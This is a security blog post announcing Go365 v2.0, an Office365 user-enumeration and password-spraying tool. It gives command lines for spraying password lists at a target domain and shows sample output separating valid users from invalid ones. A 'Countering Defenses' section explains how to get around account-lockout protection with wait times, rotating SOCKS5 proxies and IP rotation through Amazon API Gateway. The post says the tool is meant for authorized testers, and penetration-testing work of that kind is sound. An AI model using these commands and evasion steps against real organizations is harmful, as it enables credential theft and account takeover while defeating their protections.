Go365 v2.0 releases: Office365 User Attack Tool

by do son · Published · Updated

Go365

Go365

Go365 is a tool designed to perform user enumeration* and password guessing attacks on organizations that use Office365 (now/soon Microsoft365). Go365 uses a unique SOAP API endpoint on login.microsoftonline.com that most other tools do not use. When queried with an email address and password, the endpoint responds with an Azure AD Authentication and Authorization code. This code is then processed by Go365 and the result is printed to a screen or an output file.

* User enumeration is performed in conjunction with a password guess attempt. Thus, there is no specific flag or functionality to perform only user enumeration. Instead, conduct your first password guessing attack, then parse the results for valid users.

Read these three bullets!
  • This tool might not work on all domains that utilize o365. Tests show that it works with most federated domains. Some domains will only report valid users even if a valid password is also provided. Your results may vary!
  • The domains this tool was tested on showed that it did not actually lock out accounts after multiple password failures. Your results may vary!
  • This tool is intended to be used by security professionals that are authorized to “attack” the target organization’s o365 instance.

Use

Go365

Example

./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com

./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5

./Go365 -up ./userpass_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt

./Go365 -u legituser@pwnthisfakedomain.com -p 'coolpasswordbro!123' -w 5 -o Go365output.txt -proxy 127.0.0.1:1080

./Go365 -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt

./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login

Account Locked Out! (Domain Defenses)

protip: You probably aren’t actually locking out accounts.

After a number of queries against a target domain, results might start reporting that accounts are locked out.

Once this defense is triggered, user enumeration becomes unreliable since requests for valid and invalid users will randomly report that their accounts have been locked out.

...

[-] User not found: test.user90@pwnthisfakedomain.com

[-] User not found: test.user91@pwnthisfakedomain.com

[-] Valid user, but invalid password: test.user92@pwnthisfakedomain.com

[!] Account Locked Out: real.user1@pwnthisfakedomain.com

[-] Valid user, but invalid password: test.user93@pwnthisfakedomain.com

[!] Account Locked Out: valid.user94@pwnthisfakedomain.com

[!] Account Locked Out: jane.smith@pwnthisfakedomain.com

[-] Valid user, but invalid password: real.user95@pwnthisfakedomain.com

[-] Valid user, but invalid password: fake.user96@pwnthisfakedomain.com

[!] Account Locked Out: valid.smith@pwnthisfakedomain.com

...

This is a defensive mechanism triggered by the number of valid user queries against the target domain within a certain period of time. The number of attempts and the period of time will vary depending on the target domain since the thresholds can be customized by the target organization.

Countering Defenses

Wait time

The defensive mechanism is time and IP address based. Go365 provides options to include a wait time between requests and proxy options to distribute the source of the requests. To circumvent the defensive mechanisms on your target domain, use a long wait time and multiple proxy servers.

A wait time of AT LEAST 15 seconds is recommended. -w 15

SOCKS5 Proxies

If you still get “account locked out” responses, start proxying your requests. Proxy options have only been tested on SSH SOCKS5 dynamic proxies (ssh -D <port> user@proxyserver)

Create a bunch of SOCKS5 proxies on DO or AWS or Vultr or whatever and make a file that looks like this:

127.0.0.1:8081

127.0.0.1:8082

127.0.0.1:8083

127.0.0.1:8084

127.0.0.1:8085

127.0.0.1:8086

...

The tool will randomly iterate through the provided proxy servers and wait for the specified amount of time between requests.

-w 15 -proxyfile ./proxies.txt

Amazon API Gateway

Additionally, an endpoint url may be specified so this tool can interface with Amazon API Gateway. Setup a gateway to point to the https://login.microsoftonline.com/rst2.srf endpoint then set the -url parameter to the provided Invoke URL. Your IP should be rotated with each request.

-url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login

Changelog v2.0

Download

Copyright (c) 2020 Optiv Security

Tags: Go365